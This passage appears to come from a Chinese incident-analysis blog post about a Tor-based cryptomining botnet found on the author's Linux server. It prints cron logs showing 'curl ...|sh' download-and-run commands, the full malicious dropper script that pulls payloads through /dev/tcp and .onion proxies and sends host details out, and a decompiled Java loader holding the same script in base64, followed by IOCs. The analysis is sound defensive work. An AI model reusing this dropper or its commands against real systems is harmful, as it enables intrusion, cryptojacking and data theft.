Jul 12 14:29:01 localhost CROND[20237]: (root) CMD (/opt/systemd-private-jeAozqLbO5Ni2rtDL7lwAMXluzYQMl.sh > /dev/null 2>&1 &)
Jul 12 15:05:01 localhost CROND[22744]: (root) CMD (/root/.systemd-private-jeAozqLbO5Ni2rtDL7lwAMXluzYQMl.sh > /dev/null 2>&1 &)
Jul 12 15:07:13 localhost crontab[22899]: (root) BEGIN EDIT (root)
Jul 12 15:07:17 localhost crontab[22899]: (root) END EDIT (root)
Jul 12 15:29:01 localhost CROND[24501]: (root) CMD (/opt/systemd-private-jeAozqLbO5Ni2rtDL7lwAMXluzYQMl.sh > /dev/null 2>&1 &)
Jul 12 15:46:14 localhost crontab[28007]: (root) BEGIN EDIT (root)
Jul 12 15:46:30 localhost crontab[28152]: (root) BEGIN EDIT (root)
Jul 12 15:46:33 localhost crontab[28152]: (root) END EDIT (root)
Jun 15 03:42:01 localhost anacron[24559]: Job `cron.weekly' started
Jun 22 03:00:01 localhost anacron[7132]: Job `cron.weekly' started
Jun 22 03:01:01 localhost anacron[7216]: Job `cron.monthly' locked by another anacron - skipping
Jun 22 03:20:01 localhost anacron[7132]: Job `cron.monthly' started
Jun 29 03:29:01 localhost anacron[31965]: Job `cron.weekly' started
Jul 6 03:42:01 localhost anacron[20977]: Job `cron.weekly' started
Jul 9 12:48:01 localhost crond[723]: (CRON) bad minute (/etc/cron.d/systemdd)
Jul 9 12:48:01 localhost crond[723]: (CRON) bad minute (/etc/cron.d/systemdd)
Jul 9 12:48:01 localhost crond[723]: (CRON) bad minute (/etc/cron.d/systemdd)
Jul 9 12:48:01 localhost CROND[388]: (root) CMD (curl -fsS 139.59.150.7:443/rl|sh)
Jul 9 12:48:01 localhost CROND[389]: (root) CMD (wget -qO- 139.59.150.7:443/rl|sh)
Jul 9 12:48:02 localhost CROND[384]: (root) CMDOUT (sh: line 1: XRANDOM: command not found)
Jul 9 12:48:02 localhost CROND[383]: (root) CMDOUT (sh: line 1: XRANDOM: command not found)
Jul 9 13:05:02 localhost CROND[3957]: (root) CMD (/root/.systemd-private-jeAozqLbO5Ni2rtDL7lwAMXluzYQMl.sh > /dev/null 2>&1 &)
Jul 9 13:29:01 localhost CROND[6672]: (root) CMD (/opt/systemd-private-jeAozqLbO5Ni2rtDL7lwAMXluzYQMl.sh > /dev/null 2>&1 &)
Jul 9 13:33:59 localhost crond[7505]: (CRON) bad minute (/etc/cron.d/systemdd)
Jul 9 13:33:59 localhost crond[7505]: (CRON) bad minute (/etc/cron.d/systemdd)
Jul 9 13:33:59 localhost crond[7505]: (CRON) bad minute (/etc/cron.d/systemdd)
Jul 9 13:35:01 localhost CROND[7580]: (root) CMD (wget -qO- 139.59.150.7:443/rl|sh)
Jul 9 13:35:01 localhost CROND[7581]: (root) CMD (curl -fsS 139.59.150.7:443/rl|sh)
Jul 9 13:35:02 localhost CROND[7577]: (root) CMDOUT (sh: line 1: XRANDOM: command not found)
Jul 9 13:35:03 localhost CROND[7576]: (root) CMDOUT (sh: line 1: XRANDOM: command not found)
Jul 9 14:05:01 localhost CROND[11627]: (root) CMD (/root/.systemd-private-jeAozqLbO5Ni2rtDL7lwAMXluzYQMl.sh > /dev/null 2>&1 &)
Jul 9 14:29:04 localhost CROND[15270]: (root) CMD (/opt/systemd-private-jeAozqLbO5Ni2rtDL7lwAMXluzYQMl.sh > /dev/null 2>&1 &)
Jul 9 16:05:02 localhost CROND[28101]: (root) CMD (/root/.systemd-private-jeAozqLbO5Ni2rtDL7lwAMXluzYQMl.sh > /dev/null 2>&1 &)
Jul 9 16:29:03 localhost CROND[30857]: (root) CMD (/opt/systemd-private-jeAozqLbO5Ni2rtDL7lwAMXluzYQMl.sh > /dev/null 2>&1 &)
Jul 9 18:05:01 localhost CROND[9615]: (root) CMD (/root/.systemd-private-jeAozqLbO5Ni2rtDL7lwAMXluzYQMl.sh > /dev/null 2>&1 &)
Jul 9 18:29:01 localhost CROND[12804]: (root) CMD (/opt/systemd-private-jeAozqLbO5Ni2rtDL7lwAMXluzYQMl.sh > /dev/null 2>&1 &)
Jul 12 10:05:01 localhost CROND[2015]: (root) CMD (/root/.systemd-private-jeAozqLbO5Ni2rtDL7lwAMXluzYQMl.sh > /dev/null 2>&1 &)
</pre></td></tr></tbody></table></code></pre></div></div>
<p>重点关注两个关键的时间节点</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre>Jul 9 12:48:01 localhost CROND[388]: (root) CMD (curl -fsS 139.59.150.7:443/rl|sh)
Jul 9 12:48:01 localhost CROND[389]: (root) CMD (wget -qO- 139.59.150.7:443/rl|sh)
Jul 9 13:05:02 localhost CROND[3957]: (root) CMD (/root/.systemd-private-jeAozqLbO5Ni2rtDL7lwAMXluzYQMl.sh > /dev/null 2>&1 &)
</pre></td></tr></tbody></table></code></pre></div></div>
<p>在执行目前的挖矿程序之前,攻击者首先执行了</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>curl -fsS 139.59.150.7:443/rl|sh
</pre></td></tr></tbody></table></code></pre></div></div>
<p>内容如下</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
</pre></td><td class="rouge-code"><pre>XRANDOM
<span class="nb">exec</span> &>/dev/null
<span class="nb">export </span><span class="nv">PATH</span><span class="o">=</span><span class="nv">$PATH</span>:<span class="nv">$HOME</span>:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
<span class="k">function </span>kurl<span class="o">()</span> <span class="o">{</span>
<span class="nb">read </span>proto server path <span class="o"><<<</span><span class="si">$(</span><span class="nb">echo</span> <span class="k">${</span><span class="nv">1</span><span class="p">//// </span><span class="k">}</span><span class="si">)</span>
<span class="nv">DOC</span><span class="o">=</span>/<span class="k">${</span><span class="nv">path</span><span class="p">// //</span><span class="k">}</span>
<span class="nv">HOST</span><span class="o">=</span><span class="k">${</span><span class="nv">server</span><span class="p">//</span>:<span class="p">*</span><span class="k">}</span>
<span class="nv">PORT</span><span class="o">=</span><span class="k">${</span><span class="nv">server</span><span class="p">//*</span>:<span class="k">}</span>
<span class="o">[[</span> x<span class="s2">"</span><span class="k">${</span><span class="nv">HOST</span><span class="k">}</span><span class="s2">"</span> <span class="o">==</span> x<span class="s2">"</span><span class="k">${</span><span class="nv">PORT</span><span class="k">}</span><span class="s2">"</span> <span class="o">]]</span> <span class="o">&&</span> <span class="nv">PORT</span><span class="o">=</span>80
<span class="nb">exec </span>3<<span class="o">></span>/dev/tcp/<span class="k">${</span><span class="nv">HOST</span><span class="k">}</span>/<span class="nv">$PORT</span>
<span class="nb">echo</span> <span class="nt">-en</span> <span class="s2">"GET </span><span class="k">${</span><span class="nv">DOC</span><span class="k">}</span><span class="s2"> HTTP/1.0</span><span class="se">\r\n</span><span class="s2">Host: </span><span class="k">${</span><span class="nv">HOST</span><span class="k">}</span><span class="se">\r\n\r\n</span><span class="s2">"</span> <span class="o">></span>&3
<span class="o">(</span><span class="k">while </span><span class="nb">read </span>line<span class="p">;</span> <span class="k">do</span>
<span class="o">[[</span> <span class="s2">"</span><span class="nv">$line</span><span class="s2">"</span> <span class="o">==</span> <span class="s1">$'</span><span class="se">\r</span><span class="s1">'</span> <span class="o">]]</span> <span class="o">&&</span> <span class="nb">break
</span><span class="k">done</span> <span class="o">&&</span> <span class="nb">cat</span><span class="o">)</span> <&3
<span class="nb">exec </span>3>&-
<span class="o">}</span>
<span class="nb">rm</span> <span class="nt">-f</span> <span class="nv">$HOME</span>/ss
curl <span class="nt">-V</span> <span class="o">||</span> wget <span class="nt">-q</span> https://github.com/moparisthebest/static-curl/releases/download/v7.75.0/curl-amd64 <span class="nt">-O</span> <span class="nv">$HOME</span>/curl<span class="p">;</span><span class="nb">chmod</span> +x <span class="nv">$HOME</span>/curl
curl <span class="nt">-V</span> <span class="o">||</span> kurl http://139.59.150.7:443/curl <span class="o">></span> <span class="nv">$HOME</span>/curl<span class="p">;</span><span class="nb">chmod</span> +x <span class="nv">$HOME</span>/curl
ss <span class="nt">-v</span> <span class="o">||</span> kurl http://139.59.150.7:443/ss <span class="o">></span> <span class="nv">$HOME</span>/ss<span class="p">;</span><span class="nb">chmod</span> +x <span class="nv">$HOME</span>/ss
ss <span class="nt">-v</span> <span class="o">||</span> curl <span class="nt">-s</span> http://139.59.150.7:443/ss <span class="nt">-o</span> <span class="nv">$HOME</span>/ss<span class="p">;</span><span class="nb">chmod</span> +x <span class="nv">$HOME</span>/ss
ps <span class="o">||</span> curl <span class="nt">-s</span> http://139.59.150.7:443/ps <span class="nt">-o</span> <span class="nv">$HOME</span>/ps<span class="p">;</span><span class="nb">chmod</span> +x <span class="nv">$HOME</span>/ps
<span class="nv">d</span><span class="o">=</span><span class="si">$(</span><span class="nb">grep </span>x:<span class="si">$(</span><span class="nb">id</span> <span class="nt">-u</span><span class="si">)</span>: /etc/passwd|cut <span class="nt">-d</span>: <span class="nt">-f6</span><span class="si">)</span>
<span class="nv">c</span><span class="o">=</span><span class="si">$(</span><span class="nb">echo</span> <span class="s2">"curl -4fsSLkA- -m200"</span><span class="si">)</span>
<span class="nv">t</span><span class="o">=</span><span class="si">$(</span><span class="nb">echo</span> <span class="s2">"rxmxpzfkydkulhhqnuftbmf6d5q67jjchopmh4ofszfwwnmz4bqq2fid"</span><span class="si">)</span>
sockz<span class="o">()</span> <span class="o">{</span>
<span class="nv">n</span><span class="o">=(</span>doh.defaultroutes.de dns.hostux.net uncensored.lux1.dns.nixnet.xyz dns.rubyfish.cn dns.twnic.tw doh.centraleu.pi-dns.com doh.dns.sb doh-fi.blahdns.com <span class="k">fi</span>.doh.dns.snopyta.org dns.flatuslifir.is doh.li dns.digitale-gesellschaft.ch<span class="o">)</span>
<span class="nv">p</span><span class="o">=</span><span class="si">$(</span><span class="nb">echo</span> <span class="s2">"dns-query?name=relay.tor2socks.in"</span><span class="si">)</span>
<span class="nv">s</span><span class="o">=</span><span class="si">$(</span><span class="nv">$c</span> https://<span class="k">${</span><span class="nv">n</span><span class="p">[</span><span class="k">$((</span>RANDOM%10<span class="k">))</span><span class="p">]</span><span class="k">}</span>/<span class="nv">$p</span> | <span class="nb">grep</span> <span class="nt">-oE</span> <span class="s2">"</span><span class="se">\b</span><span class="s2">([0-9]{1,3}</span><span class="se">\.</span><span class="s2">){3}[0-9]{1,3}</span><span class="se">\b</span><span class="s2">"</span> |tr <span class="s1">' '</span> <span class="s1">'\n'</span>|grep <span class="nt">-Ev</span> <span class="o">[</span>.]0|sort <span class="nt">-uR</span>|head <span class="nt">-n</span> 1<span class="si">)</span>
<span class="o">}</span>
fexe<span class="o">()</span> <span class="o">{</span>
<span class="k">for </span>i <span class="k">in</span> <span class="nb">.</span> <span class="nv">$HOME</span> /usr/bin <span class="nv">$d</span> /tmp /var/tmp <span class="p">;</span><span class="k">do </span><span class="nb">echo exit</span> <span class="o">></span> <span class="nv">$i</span>/i <span class="o">&&</span> <span class="nb">chmod</span> +x <span class="nv">$i</span>/i <span class="o">&&</span> <span class="nb">cd</span> <span class="nv">$i</span> <span class="o">&&</span> ./i <span class="o">&&</span> <span class="nb">rm</span> <span class="nt">-f</span> i <span class="o">&&</span> <span class="nb">break</span><span class="p">;</span><span class="k">done</span>
<span class="o">}</span>
u<span class="o">()</span> <span class="o">{</span>
sockz
<span class="nv">f</span><span class="o">=</span>/l/rd.<span class="si">$(</span><span class="nb">uname</span> <span class="nt">-m</span><span class="si">)</span>
<span class="nv">x</span><span class="o">=</span>./<span class="si">$(</span><span class="nb">date</span>|md5sum|cut <span class="nt">-f1</span> <span class="nt">-d-</span><span class="si">)</span>
<span class="nv">r</span><span class="o">=</span><span class="si">$(</span>curl <span class="nt">-4fsSLk</span> checkip.amazonaws.com||curl <span class="nt">-4fsSLk</span> ip.sb<span class="si">)</span>_<span class="si">$(</span><span class="nb">whoami</span><span class="si">)</span>_<span class="si">$(</span><span class="nb">uname</span> <span class="nt">-m</span><span class="si">)</span>_<span class="si">$(</span><span class="nb">uname</span> <span class="nt">-n</span><span class="si">)</span>_<span class="si">$(</span>ip a|grep <span class="s1">'inet '</span>|awk <span class="o">{</span><span class="s1">'print $2'</span><span class="o">}</span>|md5sum|awk <span class="o">{</span><span class="s1">'print $1'</span><span class="o">}</span><span class="si">)</span>_<span class="si">$(</span>crontab <span class="nt">-l</span>|base64 <span class="nt">-w0</span><span class="si">)</span>
<span class="nv">$c</span> <span class="nt">-x</span> socks5h://<span class="nv">$s</span>:9050 <span class="nv">$t</span>.onion<span class="nv">$f</span> <span class="nt">-o</span><span class="nv">$x</span> <span class="nt">-e</span><span class="nv">$r</span> <span class="o">||</span> <span class="nv">$c</span> <span class="nv">$1$f</span> <span class="nt">-o</span><span class="nv">$x</span> <span class="nt">-e</span><span class="nv">$r</span>
<span class="nb">chmod</span> +x <span class="nv">$x</span><span class="p">;</span><span class="nv">$x</span><span class="p">;</span><span class="nb">rm</span> <span class="nt">-f</span> <span class="nv">$x</span>
<span class="o">}</span>
<span class="k">for </span>h <span class="k">in </span>tor2web.in tor2web.it onion.foundation onion.com.de onion.sh tor2web.su
<span class="k">do
if</span> <span class="o">!</span> <span class="nb">ls</span> /proc/<span class="si">$(</span><span class="nb">head</span> <span class="nt">-n</span> 1 /tmp/.X11-unix/01<span class="si">)</span>/status<span class="p">;</span> <span class="k">then
</span>fexe<span class="p">;</span>u <span class="nv">$t</span>.<span class="nv">$h</span>
<span class="nb">ls</span> /proc/<span class="si">$(</span><span class="nb">head</span> <span class="nt">-n</span> 1 /tmp/.X11-unix/01<span class="si">)</span>/status <span class="o">||</span> <span class="o">(</span><span class="nb">cd</span> /tmp<span class="p">;</span>u <span class="nv">$t</span>.<span class="nv">$h</span><span class="o">)</span>
<span class="nb">ls</span> /proc/<span class="si">$(</span><span class="nb">head</span> <span class="nt">-n</span> 1 /tmp/.X11-unix/01<span class="si">)</span>/status <span class="o">||</span> <span class="o">(</span><span class="nb">cd</span> /dev/shm<span class="p">;</span>u <span class="nv">$t</span>.<span class="nv">$h</span><span class="o">)</span>
<span class="k">else
</span><span class="nb">break
</span><span class="k">fi
done
</span><span class="nb">rm</span> <span class="nt">-f</span> /etc/cron.d/systemdd
</pre></td></tr></tbody></table></code></pre></div></div>
<p>内容和分析过的脚本差不多,没有什么新的消息。</p>
<p>奇安信 ti 和微步在线没有关于 <code class="language-plaintext highlighter-rouge">139.59.150.7</code> 更多的比较有用的信息了。</p>
<p>查了下 ssh 记录,只保留了最近一周多的记录,之前的记录没了,口令也不是弱口令啊 :(</p>
<p>注意到机器开了 6379</p>
<p>试了下,redis 没密码 :)</p>
<p>但是真的是 redis 打进来的么,看看 redis的执行记录</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre><span class="nb">cat</span> ~/.rediscli_history
</pre></td></tr></tbody></table></code></pre></div></div>
<p>里面没有用到和 <code class="language-plaintext highlighter-rouge">config</code> 等可疑的命令,意味着攻击者可能没有用 redis 的洞打进来,或者打进来了然后删除了记录,个人感觉使用 redis 洞的概率较小</p>
<p>那么攻击者到底如何进来的,目前还是未解之谜 :)</p>
<p>这个攻击者为了规避监测,做了不少的工作,让人感觉稍微比以前分析过的黑产有意思一点了。刚开始分析的时候觉得他的恶意程序太长了,但是仔细分析可以知道他们的为了规避审而做的隐藏还是很有价值的,包括使用 doh 解析域名, tor 代理下载恶意文件,应该能成功绕过 IDS 的审查。</p>
<p>看完代码,感觉这可能不只是挖矿这么简单,他的载荷任意修改就可以变成对抗一般的 IDS 的战略武器了</p>
<p>要说这是APT我都信,不过这似乎的确是个挖矿程序 :)</p>
<p><img src="https://static.scuseek.com/20210712165241.png" alt="" /></p>
<p>看起来应该不是白象的攻击,APT 以钓鱼为主,重点在隐蔽,不会大张旗鼓的搞挖矿。</p>
<p>既然有 tor 域名,那么这可以当作一个 IOC,去网上搜一搜,发现不少这样的案例</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>bggts547gukhvmf4cgandlgxxphengxovoyo6ewhns5qmmb2b5oi43yd
</pre></td></tr></tbody></table></code></pre></div></div>
<p>https://cloud.tencent.com/developer/article/1731875</p>
<p>https://www.zscaler.com/blogs/security-research/dreambus-botnet-technical-analysis</p>
<p>https://www.trendmicro.com/en_us/research/21/d/tor-based-botnet-malware-targets-linux-systems-abuses-cloud-management-tools.html</p>
<p><del>值得注意的是, zscaler 的样本似乎比我拿到的样本功能更多, zscaler 的样本包括了通过 ssh/redis/postgres/hadoop/spark等横向移动的功能。推测可能是其他设备上有包含这种功能的木马攻破我分析的这台设备后放置了一个功能更单一的木马,以规避安全人员的入侵分析。</del>2021.7.20 注:写这篇文章的时候没发现这几个横向移动的功能,事后分析发现了这几个移动方式。</p>
<p>复制出来的恶意文件的IOC也在微步在线有看到</p>
<p><img src="https://static.scuseek.com/20210712170908.png" alt="" /></p>
<p>删木马用了3分钟,写博客用了3小时 :)</p>
<p>我感觉导师要找我交流进度了</p>
<p>我又只有说我摸鱼了 555555</p>
<p>附IOC如下:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
</pre></td><td class="rouge-code"><pre><span class="nv">$ </span><span class="nb">md5sum</span> <span class="k">*</span>
1903a412002ed21dd7d90858f46717ca EQnR3jNR
f411ce55ff4b6ae95d11944a0c8d594b tracepath
48b164b19a85b94be0548c542d315e31 yitxXFrW
<span class="nv">$ </span><span class="nb">sha256sum</span> <span class="k">*</span>
a33a641e1c866164930a5acf934231fc9896a5ad5e47bbf0784f65430e86f0dd EQnR3jNR
c38c6d9ddf08ee411bedb00cc5bfd03f78af774ff408ab160e6149607bc76046 tracepath
cdf9ddd2f3eac918aa25c507d7b121ba670f241e5647b23e645a9f9e35f9665a yitxXFrW
</pre></td></tr></tbody></table></code></pre></div></div>
<h1 id="恶意文件分析">恶意文件分析</h1>
<p>他来了,曾大佬真的来了。</p>
<p>曾大佬出手,分分钟拿下。</p>
<p>什么加壳去特征,都不是问题,曾大佬动态调试全带走 :)</p>
<p>我问他怎么还有时间搞这个,他说要不是不想看论文,谁会去分析这个挖矿木马呢?</p>
<p>这句话怎么似曾相似,啊,原来是我刚开始写这篇博客的时候也是这样说的 :P</p>
<h2 id="tracepath">tracepath</h2>
<p>包含了横向移动的功能。</p>
<p>如果发现有 spark 节点,那么提交一个任务上去。</p>
<p>从 <code class="language-plaintext highlighter-rouge">http://139.59.150.7:443/z.jar</code> 下载 <code class="language-plaintext highlighter-rouge">z.jar</code>,提交上去。</p>
<p>那么,<code class="language-plaintext highlighter-rouge">z.jar</code> 是什么呢?目前还可以从这个ip地址上下载这个恶意文件。</p>
<p>丢进 jd-gui,看到文件的 java 代码</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
</pre></td><td class="rouge-code"><pre>public class z <span class="o">{</span>
public static void main<span class="o">(</span>String[] paramArrayOfString<span class="o">)</span> throws Exception <span class="o">{</span>
String[] arrayOfString <span class="o">=</span> new String[3]<span class="p">;</span>
arrayOfString[0] <span class="o">=</span> <span class="s2">"/bin/sh"</span><span class="p">;</span>
arrayOfString[1] <span class="o">=</span> <span class="s2">"-c"</span><span class="p">;</span>
arrayOfString[2] <span class="o">=</span> <span class="s2">"echo WFJBTkRPTQpleGVjICY+L2Rldi9udWxsCmV4cG9ydCBQQVRIPSRQQVRIOiRIT01FOi9iaW46L3NiaW46L3Vzci9iaW46L3Vzci9zYmluOi91c3IvbG9jYWwvYmluOi91c3IvbG9jYWwvc2JpbgoKZnVuY3Rpb24ga3VybCgpIHsKICByZWFkIHByb3RvIHNlcnZlciBwYXRoIDw8PCQoZWNobyAkezEvLy8vIH0pCiAgRE9DPS8ke3BhdGgvLyAvL30KICBIT1NUPSR7c2VydmVyLy86Kn0KICBQT1JUPSR7c2VydmVyLy8qOn0KICBbWyB4IiR7SE9TVH0iID09IHgiJHtQT1JUfSIgXV0gJiYgUE9SVD04MAoKICBleGVjIDM8Pi9kZXYvdGNwLyR7SE9TVH0vJFBPUlQKICBlY2hvIC1lbiAiR0VUICR7RE9DfSBIVFRQLzEuMFxyXG5Ib3N0OiAke0hPU1R9XHJcblxyXG4iID4mMwogICh3aGlsZSByZWFkIGxpbmU7IGRvCiAgIFtbICIkbGluZSIgPT0gJCdccicgXV0gJiYgYnJlYWsKICBkb25lICYmIGNhdCkgPCYzCiAgZXhlYyAzPiYtCn0KCnJtIC1mICRIT01FL3NzCmN1cmwgLVYgfHwgd2dldCAtcSBodHRwczovL2dpdGh1Yi5jb20vbW9wYXJpc3RoZWJlc3Qvc3RhdGljLWN1cmwvcmVsZWFzZXMvZG93bmxvYWQvdjcuNzUuMC9jdXJsLWFtZDY0IC1PICRIT01FL2N1cmw7Y2htb2QgK3ggJEhPTUUvY3VybApjdXJsIC1WIHx8IGt1cmwgaHR0cDovLzEzOS41OS4xNTAuNzo0NDMvY3VybCA+ICRIT01FL2N1cmw7Y2htb2QgK3ggJEhPTUUvY3VybApzcyAtdiAgIHx8IGt1cmwgaHR0cDovLzEzOS41OS4xNTAuNzo0NDMvc3MgICA+ICRIT01FL3NzO2NobW9kICt4ICRIT01FL3NzCnNzIC12ICAgfHwgY3VybCAtcyBodHRwOi8vMTM5LjU5LjE1MC43OjQ0My9zcyAtbyAkSE9NRS9zcztjaG1vZCAreCAkSE9NRS9zcwpwcyAgICAgIHx8IGN1cmwgLXMgaHR0cDovLzEzOS41OS4xNTAuNzo0NDMvcHMgLW8gJEhPTUUvcHM7Y2htb2QgK3ggJEhPTUUvcHMKCmQ9JChncmVwIHg6JChpZCAtdSk6IC9ldGMvcGFzc3dkfGN1dCAtZDogLWY2KQpjPSQoZWNobyAiY3VybCAtNGZzU0xrQS0gLW0yMDAiKQp0PSQoZWNobyAicnhteHB6Zmt5ZGt1bGhocW51ZnRibWY2ZDVxNjdqamNob3BtaDRvZnN6Znd3bm16NGJxcTJmaWQiKQoKc29ja3ooKSB7Cm49KGRvaC5ubC5haGFkbnMubmV0IGRucy5ob3N0dXgubmV0IHVuY2Vuc29yZWQubHV4MS5kbnMubml4bmV0Lnh5eiBkbnMucnVieWZpc2guY24gZG5zLnR3bmljLnR3IGRvaC5uby5haGFkbnMubmV0IGRvaC1maS5ibGFoZG5zLmNvbSBmaS5kb2guZG5zLnNub3B5dGEub3JnIHJlc29sdmVyLWV1LmxlbHV4LmZpIGRvaC5saSBkbnMuZGlnaXRhbGUtZ2VzZWxsc2NoYWZ0LmNoKQpwPSQoZWNobyAiZG5zLXF1ZXJ5P25hbWU9cmVsYXkudG9yMnNvY2tzLmluIikKcz0kKCRjIGh0dHBzOi8vJHtuWyQoKFJBTkRPTSUxMSkpXX0vJHAgfCBncmVwIC1vRSAiXGIoWzAtOV17MSwzfVwuKXszfVswLTldezEsM31cYiIgfHRyICcgJyAnXG4nfGdyZXAgLUV2IFsuXTB8c29ydCAtdVJ8aGVhZCAtbiAxKQp9CgpmZXhlKCkgewpmb3IgaSBpbiAuICRIT01FIC91c3IvYmluICRkIC90bXAgL3Zhci90bXAgO2RvIGVjaG8gZXhpdCA+ICRpL2kgJiYgY2htb2QgK3ggJGkvaSAmJiBjZCAkaSAmJiAuL2kgJiYgcm0gLWYgaSAmJiBicmVhaztkb25lCn0KCnUoKSB7CnNvY2t6CmY9L2wvc3AuJCh1bmFtZSAtbSkKeD0uLyQoZGF0ZXxtZDVzdW18Y3V0IC1mMSAtZC0pCnI9JChjdXJsIC00ZnNTTGsgY2hlY2tpcC5hbWF6b25hd3MuY29tfHxjdXJsIC00ZnNTTGsgaXAuc2IpXyQod2hvYW1pKV8kKHVuYW1lIC1tKV8kKHVuYW1lIC1uKV8kKGlwIGF8Z3JlcCAnaW5ldCAnfGF3ayB7J3ByaW50ICQyJ318bWQ1c3VtfGF3ayB7J3ByaW50ICQxJ30pXyQoY3JvbnRhYiAtbHxiYXNlNjQgLXcwKQokYyAteCBzb2NrczVoOi8vJHM6OTA1MCAkdC5vbmlvbiRmIC1vJHggLWUkciB8fCAkYyAkMSRmIC1vJHggLWUkcgpjaG1vZCAreCAkeDskeDtybSAtZiAkeAp9Cgpmb3IgaCBpbiB0b3Iyd2ViLmluIHRvcjJ3ZWIuaXQKZG8KaWYgISBscyAvcHJvYy8kKGhlYWQgLW4gMSAvdG1wLy5YMTEtdW5peC8wMSkvc3RhdHVzOyB0aGVuCmZleGU7dSAkdC4kaApscyAvcHJvYy8kKGhlYWQgLW4gMSAvdG1wLy5YMTEtdW5peC8wMSkvc3RhdHVzIHx8IChjZCAvdG1wO3UgJHQuJGgpCmxzIC9wcm9jLyQoaGVhZCAtbiAxIC90bXAvLlgxMS11bml4LzAxKS9zdGF0dXMgfHwgKGNkIC9kZXYvc2htO3UgJHQuJGgpCmVsc2UKYnJlYWsKZmkKZG9uZQo=|base64 -d|bash"</span><span class="p">;</span>
Runtime runtime <span class="o">=</span> Runtime.getRuntime<span class="o">()</span><span class="p">;</span>
Process process <span class="o">=</span> runtime.exec<span class="o">(</span>arrayOfString<span class="o">)</span><span class="p">;</span>
<span class="o">}</span>
<span class="o">}</span>
</pre></td></tr></tbody></table></code></pre></div></div>
<p>这一大段 base64 解出来,内容如下</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
</pre></td><td class="rouge-code"><pre>XRANDOM
<span class="nb">exec</span> &>/dev/null
<span class="nb">export </span><span class="nv">PATH</span><span class="o">=</span><span class="nv">$PATH</span>:<span class="nv">$HOME</span>:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
<span class="k">function </span>kurl<span class="o">()</span> <span class="o">{</span>
<span class="nb">read </span>proto server path <span class="o"><<<</span><span class="si">$(</span><span class="nb">echo</span> <span class="k">${</span><span class="nv">1</span><span class="p">//// </span><span class="k">}</span><span class="si">)</span>
<span class="nv">DOC</span><span class="o">=</span>/<span class="k">${</span><span class="nv">path</span><span class="p">// //</span><span class="k">}</span>
<span class="nv">HOST</span><span class="o">=</span><span class="k">${</span><span class="nv">server</span><span class="p">//</span>:<span class="p">*</span><span class="k">}</span>
<span class="nv">PORT</span><span class="o">=</span><span class="k">${</span><span class="nv">server</span><span class="p">//*</span>:<span class="k">}</span>
<span class="o">[[</span> x<span class="s2">"</span><span class="k">${</span><span class="nv">HOST</span><span class="k">}</span><span class="s2">"</span> <span class="o">==</span> x<span class="s2">"</span><span class="k">${</span><span class="nv">PORT</span><span class="k">}</span><span class="s2">"</span> <span class="o">]]</span> <span class="o">&&</span> <span class="nv">PORT</span><span class="o">=</span>80
<span class="nb">exec </span>3<<span class="o">></span>/dev/tcp/<span class="k">${</span><span class="nv">HOST</span><span class="k">}</span>/<span class="nv">$PORT</span>
<span class="nb">echo</span> <span class="nt">-en</span> <span class="s2">"GET </span><span class="k">${</span><span class="nv">DOC</span><span class="k">}</span><span class="s2"> HTTP/1.0</span><span class="se">\r\n</span><span class="s2">Host: </span><span class="k">${</span><span class="nv">HOST</span><span class="k">}</span><span class="se">\r\n\r\n</span><span class="s2">"</span> <span class="o">></span>&3
<span class="o">(</span><span class="k">while </span><span class="nb">read </span>line<span class="p">;</span> <span class="k">do</span>
<span class="o">[[</span> <span class="s2">"</span><span class="nv">$line</span><span class="s2">"</span> <span class="o">==</span> <span class="s1">$'</span><span class="se">\r</span><span class="s1">'</span> <span class="o">]]</span> <span class="o">&&</span> <span class="nb">break
</span><span class="k">done</span> <span class="o">&&</span> <span class="nb">cat</span><span class="o">)</span> <&3
<span class="nb">exec </span>3>&-
<span class="o">}</span>
<span class="nb">rm</span> <span class="nt">-f</span> <span class="nv">$HOME</span>/ss
curl <span class="nt">-V</span> <span class="o">||</span> wget <span class="nt">-q</span> https://github.com/moparisthebest/static-curl/releases/download/v7.75.0/curl-amd64 <span class="nt">-O</span> <span class="nv">$HOME</span>/curl<span class="p">;</span><span class="nb">chmod</span> +x <span class="nv">$HOME</span>/curl
curl <span class="nt">-V</span> <span class="o">||</span> kurl http://139.59.150.7:443/curl <span class="o">></span> <span class="nv">$HOME</span>/curl<span class="p">;</span><span class="nb">chmod</span> +x <span class="nv">$HOME</span>/curl
ss <span class="nt">-v</span> <span class="o">||</span> kurl http://139.59.150.7:443/ss <span class="o">></span> <span class="nv">$HOME</span>/ss<span class="p">;</span><span class="nb">chmod</span> +x <span class="nv">$HOME</span>/ss
